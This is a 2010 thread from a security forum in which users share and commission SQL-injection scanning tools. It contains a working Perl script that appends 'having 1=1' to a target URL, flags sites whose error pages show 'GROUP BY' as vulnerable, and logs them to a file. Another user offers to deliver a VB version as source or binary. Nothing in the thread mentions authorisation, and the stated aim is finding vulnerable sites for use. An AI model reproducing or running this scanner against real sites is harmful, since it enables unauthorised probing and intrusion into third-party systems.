 |
|
 |
 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| |
|
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9145
 People Online:
 Visitors: 621
 Members: 0
 Total: 621
|
|
|
|
|
|
PacketStorm News |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
can someone write that? |
|
 Posted: Tue Dec 07, 2010 3:03 am |
 |
|
| pink_spider |
| Advanced user |
 |
| |
| Joined: Aug 28, 2010 |
| Posts: 91 |
|
|
|
 |
|
 |
|
Hello everybody.
Well, I was thinking of writing a perl script to analyze a list of sites in a *. txt. then implement some data.
| Code: | | example: 'having 1=1" |
and the program would read the page and look for the word "Group by" on the page.
if the page is found vulneralvel the UNCLOSED QUOTATION.
can someone write that?
HELP ME :d
Thank's |
|
|
|
|
|
|
|
|
| Posted: Tue Dec 07, 2010 7:37 pm |
|
|
| pink_spider |
| Advanced user |
|
| |
| Joined: Aug 28, 2010 |
| Posts: 91 |
|
|
|
|
|
|
|
| Code: | #!/usr/bin/perl
# Sophia Hacker Group cr3w 2009-2010
# Hackers de Sergipe
# Pink_spider79@hotmail.com
# pink_spider tools
use LWP::Simple;
system("Title Asp injection scanner v1.0 by Pink_spider - priv8");
system("cls");
print "\nScanner Asp Injection versao 1.0 by Pink_spider\n";
if(!$ARGV[0]){
print "Modo de uso: perl $0 www.site.com\n";
exit;
}
$site = $ARGV[0];
if($site !~/http/) { $site = 'http://' . $site; }
print "Scaneando $site ... aguarde\n";
$url = "%20having%201=1";
$site = $site . $url;
$resultado = get($site);
if($resultado =~ /GROUP BY/)
{
print "vul: $site\n";
open(a,">>resultados.txt");
print a "$site\n";
close(a);
}
else{
print "o site testado na esta vul\n";
}
|
|
|
|
|
|
| Posted: Tue Dec 07, 2010 7:38 pm |
|
|
| pink_spider |
| Advanced user |
|
| |
| Joined: Aug 28, 2010 |
| Posts: 91 |
|
|
|
|
|
|
|
| any can write it script perl in vb ? |
|
|
|
|
| Posted: Tue Dec 07, 2010 8:00 pm |
|
|
| vince213333 |
| Advanced user |
 |
| |
| Joined: Aug 03, 2009 |
| Posts: 737 |
| Location: Belgium |
|
|
|
|
|
|
I would do it if I wouldn't have this assignment for school :/ But if you know any VB, it's not that hard, give it a try 
edit: ok i'm giving it a go |
|
Last edited by vince213333 on Tue Dec 07, 2010 8:15 pm; edited 1 time in total |
|
|
|
| Posted: Tue Dec 07, 2010 8:07 pm |
|
|
| pink_spider |
| Advanced user |
|
| |
| Joined: Aug 28, 2010 |
| Posts: 91 |
|
|
|
|
|
|
|
I managed to write in perl the writings.
more wanted something similar in vb |
|
|
|
|
| Posted: Tue Dec 07, 2010 8:16 pm |
|
|
| vince213333 |
| Advanced user |
|
| |
| Joined: Aug 03, 2009 |
| Posts: 737 |
| Location: Belgium |
|
|
|
|
|
|
| Might be ready soon, ain't got time tomorrow so otherwise you'll have it in 2 days. Want source or binary? |
|
|
|
|
| Posted: Tue Dec 07, 2010 8:26 pm |
|
|
| pink_spider |
| Advanced user |
|
| |
| Joined: Aug 28, 2010 |
| Posts: 91 |
|
|
|
|
|
|
|
wanted the two if possible.
to study the source code.
and the binary to use.
thank's: D |
|
|
|
|
| Posted: Thu Dec 09, 2010 7:28 pm |
|
|
| vince213333 |
| Advanced user |
|
| |
| Joined: Aug 03, 2009 |
| Posts: 737 |
| Location: Belgium |
|
|
|
|
|
|
Program's ready  Try and catch me on msn. I've figured out why that one page isn't showing as vuln :/ |
|
|
|
|
| Posted: Sun Dec 12, 2010 2:57 am |
|
|
| pink_spider |
| Advanced user |
|
| |
| Joined: Aug 28, 2010 |
| Posts: 91 |
|
|
|
|
|
|
|
thank very much !  |
|
|
|
|
www.waraxe.us Forum Index -> Perl
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|
